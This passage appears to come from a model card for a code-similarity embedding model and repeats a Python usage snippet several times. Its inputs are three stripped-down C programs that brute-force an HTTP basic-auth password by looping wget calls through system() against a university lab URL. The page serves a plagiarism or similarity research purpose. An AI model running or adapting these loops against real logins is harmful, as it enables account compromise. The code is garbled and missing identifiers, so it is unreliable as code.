end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n 